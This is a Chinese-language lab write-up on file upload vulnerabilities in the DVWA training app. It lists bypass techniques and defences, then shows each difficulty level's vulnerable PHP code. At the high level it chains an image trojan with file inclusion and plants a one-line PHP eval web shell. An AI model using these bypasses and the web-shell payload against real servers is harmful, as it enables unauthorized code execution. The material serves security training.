实验原理
文件上传漏洞指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。
防范漏洞的方法可分为两种:
1)客户端检测
客户端使用Javascript检测,在文件未上传时就对文件进行验证。
2)服务器端检测
在服务器端通过脚本进行检测,如文件扩展名是否合法、或黑白名单等。
常见攻击方法
1. 客户端检测后缀
思路:F12修改前台代码或使用burpsuite修改上传后缀
2.服务端MIME类型检测(Content-Type)
思路:修改文件名,修改Content-Type
3.服务端目录路径检测(服务端检测后缀)
思路:利用处理特性,如使用%00截断
4.服务端文件扩展名检测
黑名单检测
(1)文件名大小写绕过
(2)特殊文件名绕过(test.asp. 或test.asp_,windows内. _默认为空格)
(3)%00截断绕过(test.asp%00.jpg )
(4).htaccess文件攻击(上传自定义htaccess)
白名单检测需与其他漏洞结合利用,如文件包含
5.服务端文件内容检测
文件相关信息检测:与其他攻击方法结合利用,如.htaccess文件攻击
6.解析攻击
apache2.2.8之前的版本存在解析漏洞,若文件名为s1.s2.s3 首先解析s3,如果无法解析再解析s2,所以可以构建文件为up.php.qwe
IIS6.0版本如果在目录名中含有.asp字符串,就按照asp去解析。如果文件名含有".asp;"那么就会优先按照asp解析;7.0/7.5版本在url后面追加字符串“/任意文件名.php”就会按照php方式解析
应对方法
避免文件上传功能带来的安全问题:
(1)文件上传的目录设置为不可执行;
(2)用白名单机制判断文件类型(文件后缀、文件头);
(3)对上传的文件做更改文件名、压缩、格式化等预处理;
(4)单独设置文件服务器的域名。
实验内容
low
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
可以看到未做任何防护,直接上传即可。
medium
关键代码如下:
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
可以看到在服务器端检测了MIME类型。因此,思路如下:
- 更改文件content-type
- 更改文件后缀名
更改文件content-type
将content-type更改为image,举例如下:
可以看到成功上传了文件。
更改文件后缀名
抓包更改后缀
更改文件后缀为jpg,设置代理并上传,抓包如下:
将文件后缀改为php,点击Forward按钮
可以看到成功上传了文件。
%00截断
在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,可以在文件名中使用%00截断。可选方法举例如下:
- 更改文件后缀为.php.jpg,设置代理并上传。抓包并将php.jpg中的字符“.”(十六进制0x2e)更改为00。
- 更改文件后缀为.php.jpg,设置代理并上传。抓包并在php.jpg中的字符“.”(十六进制0x2e)前右键选择insert byte,增加一个0x00字节。
- 更改文件后缀为.php%00.jpg,设置代理并上传。抓包并选中%00,右键url-decode。
这里取第一种方法,如下图:
同样可以成功上传。
high
关键代码如下:
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
可以看到判断了文件后缀以及是否是图像文件。
strrpos() 函数查找字符串在另一字符串中最后一次出现的位置。
getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。
制作图片木马:
成功上传
利用dvwa-high级别的文件包含漏洞,payload为
http://192.168.6.6/DVWA/vulnerabilities/fi/?page=file://c:\wamp\WWW\DVWA\hackable\uploads\1.png
尝试代码执行,可以看到文件中的php代码被解析,成功显示了phpinfo。
使用蚁剑连接,连不上(……)可能是因为实验环境是7.x版本的php,区别详见PHP-不向后兼容。干脆通过代码执行写入php文件,payload如下:
pass=file_put_contents("shell.php","<?php eval(\$_POST['shell']);?>");
设置参数如下
成功连接。
edit:
连上了,蚁剑和菜刀由于自身问题,在登录网站获取cookie并更改难度后会多发一个cookie,只需把重复的cookie值删除即可成功连接。
网友评论